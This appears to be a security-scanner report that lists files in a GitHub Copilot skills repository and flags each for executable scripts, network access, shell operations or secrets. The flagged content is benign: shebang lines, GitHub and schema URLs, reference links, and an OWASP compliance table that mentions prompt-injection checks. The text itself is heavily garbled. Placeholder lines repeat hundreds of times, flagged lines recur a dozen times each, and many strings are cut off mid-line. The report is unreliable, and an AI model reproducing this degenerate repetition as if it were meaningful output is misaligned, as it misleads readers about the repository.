Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable
harness/github-copilot/scripts/audit_primitive_redundancy.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable
harness/github-copilot/scripts/generate_catalog.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 33
"python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 34
) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [ - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" - Network accessline 35
AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
harness/github-copilot/scripts/normalize_plugin_manifests.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable
harness/github-copilot/scripts/sync_installed_primitives.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable
harness/github-copilot/scripts/sync_plugin_components.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable
harness/github-copilot/scripts/validate_primitives.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Network accessline 158
PL_VALID_KEYS = {"$schema", "name", "version", "description", "author", "email", "repository", "license", "homepage", "keywords", "extensions", "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers - Network accessline 158
PL_VALID_KEYS = {"$schema", "name", "version", "description", "author", "email", "repository", "license", "homepage", "keywords", "extensions", "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers - Network accessline 158
PL_VALID_KEYS = {"$schema", "name", "version", "description", "author", "email", "repository", "license", "homepage", "keywords", "extensions", "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers - Network accessline 158
PL_VALID_KEYS = {"$schema", "name", "version", "description", "author", "email", "repository", "license", "homepage", "keywords", "extensions", "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers - Network accessline 159
"paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers", "outputStyles", "hooks", "postInstallMessage", "strict"} OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" OPEN_MCP_SCHEMA = " - Network accessline 159
"paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers", "outputStyles", "hooks", "postInstallMessage", "strict"} OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" OPEN_MCP_SCHEMA = " - Network accessline 159
"paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers", "outputStyles", "hooks", "postInstallMessage", "strict"} OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" OPEN_MCP_SCHEMA = " - Network accessline 159
"paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers", "outputStyles", "hooks", "postInstallMessage", "strict"} OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" OPEN_MCP_SCHEMA = " - Network accessline 160
OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" - Network accessline 160
OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" - Network accessline 160
OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" - Network accessline 160
OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" - Network accessline 161
OPEN_MCP_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json" - Network accessline 161
OPEN_MCP_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json" - Network accessline 161
OPEN_MCP_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json" - Network accessline 161
OPEN_MCP_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json"
harness/github-copilot/skills/acquire-codebase-knowledge/references/inquiry-checkpoints.md
- Network accessline 46
- What external APIs are called? (search for `axios.`, `fetch(`, `http.Get(`, base URLs in constants)
harness/github-copilot/skills/acquire-codebase-knowledge/scripts/scan.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/acreadiness-assess/report-template.html
- Network accessline 222
<footer> Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a> - Network accessline 223
Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a> - Network accessline 224
· powered by <a href="https://github.com/microsoft/agentrc">microsoft/agentrc</a>.
harness/github-copilot/skills/ad-campaign-analyzer/SKILL.md
- Network accessline 7
author: GooseWorks compatibility: Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys. source: https://githu - Network accessline 8
compatibility: Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys. source: https://github.com/gooseworks-ai/g - Network accessline 9
source: https://github.com/gooseworks-ai/goose-skills - Network accessline 215
- [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)
harness/github-copilot/skills/add-educational-comments/SKILL.md
- Network accessline 45
| Line Number Referencing | `yes/no` | `yes` | Prefix each new comment with `Note <number>` when `yes`. | | Nest Comments | `yes/no` | `yes` | Indent comments inside code blocks when language syntax requires it. | | Fetch List | URL list | - Network accessline 47
| Fetch List | URL list | `https://peps.python.org/pep-0263/` | Optional authoritative references for language-specific constraints. | - Network accessline 151
- [PEP 263: Defining Python Source Code Encodings](https://peps.python.org/pep-0263/)
harness/github-copilot/skills/adobe-illustrator-scripting/references/extended-guide.md
- Network accessline 821
- [Changelog](https://ai-scripting.docsforadobe.dev/introduction/changelog/) - Recent scripting API changes (CC 2020 added `Document.getPageItemFromUuid` and `PageItem.uuid`; CC 2017 added `Application.getIsFileOpen`) - Network accessline 822
- [Illustrator Scripting Guide](https://ai-scripting.docsforadobe.dev/) - Full community-maintained documentation
harness/github-copilot/skills/adobe-illustrator-scripting/scripts/batch-export-png.jsx
- Executable scriptline 1
Executable file
harness/github-copilot/skills/adobe-illustrator-scripting/scripts/create-color-grid.jsx
- Executable scriptline 1
Executable file
harness/github-copilot/skills/adobe-illustrator-scripting/scripts/find-replace-text.jsx
- Executable scriptline 1
Executable file
harness/github-copilot/skills/agent-governance/SKILL.md
- Network accessline 151
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 152
- [AgentMesh Integrations](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 153
- [OWASP Top 10 for LLM Applications](https://owasp.org/www-project-top-10-for-large-language-model-applications/)
harness/github-copilot/skills/agent-owasp-compliance/SKILL.md
- Dangerous shell operationline 55
| ASI-01 | `PolicyEvaluator`, `PolicyEngine`, `input_validation`, `validate_input`, `sanitize`, `classify_intent`, `prompt_injection`, `threat_detect`, or `check_content` runs before `execute_tool(validated_input)`. | User input reaches `ex - Dangerous shell operationline 56
| ASI-02 | A fixed `ALLOWED_TOOLS = {"search", "read_file", "create_ticket"}` allowlist, schema validation, and deny-by-default behavior. | Open-ended tool registration, raw shell execution, `eval()` or `exec()` on agent-generated code with - Network accessline 134
- [OWASP Agentic AI Threats](https://genai.owasp.org/) - Network accessline 135
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 136
- [agent-governance skill](https://github.com/github/awesome-copilot/tree/main/skills/agent-governance)
harness/github-copilot/skills/agent-skill-stack/references/security-installation.md
- Access to secretsline 18
[Credential-related source omitted]
harness/github-copilot/skills/agent-skill-stack/scripts/inventory_skills.py
harness/github-copilot/skills/agent-skill-stack/scripts/project_profile.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/agent-skill-stack/scripts/render_stack_card.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 80
parts = [ f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">', - Network accessline 81
f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',
harness/github-copilot/skills/agent-skill-stack/scripts/skill_index.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/agent-skill-stack/scripts/stage_install.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/agent-supply-chain/SKILL.md
- Network accessline 178
- [OpenSSF SLSA](https://slsa.dev/) - Network accessline 179
- [npm Provenance](https://docs.npmjs.com/generating-provenance-statements) - Network accessline 180
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 181
- [OWASP ASI-09: Supply Chain Integrity](https://genai.owasp.org/)
harness/github-copilot/skills/ai-ready/SKILL.md
- Network accessline 21
This local skill is a wrapper. The full `ai-ready` skill by John Papa is large, changes frequently, and remains authoritative at `https://github.com/johnpapa/ai-ready`. John Papa's GitHub profile is `https://github.com/johnpapa`. - Network accessline 94
- [ ] The user is told that `https://github.com/johnpapa/ai-ready` is the source of truth. - Network accessline 103
- [John Papa](https://github.com/johnpapa) - Network accessline 104
- [johnpapa/ai-ready](https://github.com/johnpapa/ai-ready)
harness/github-copilot/skills/anti-ui-slop/SKILL.md
- Network accessline 2
name: "anti-ui-slop" description: >- Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when bu - Network accessline 3
description: >- Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, - Network accessline 4
Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing UI, w - Network accessline 21
- Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available. - Network accessline 42
Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette. - Network accessline 148
- [UIZZE public catalogue](https://uizze.com)
harness/github-copilot/skills/api-testing/SKILL.md
- Network accessline 121
- [OpenAPI Specification](https://spec.openapis.org/oas/latest.html) - Network accessline 122
- [GraphQL specification](https://spec.graphql.org/) - Network accessline 123
- [JSON Schema](https://json-schema.org/specification) - Network accessline 124
- [RFC 9110: HTTP Semantics](https://www.rfc-editor.org/rfc/rfc9110.html)
harness/github-copilot/skills/apim-ai-gateway/SKILL.md
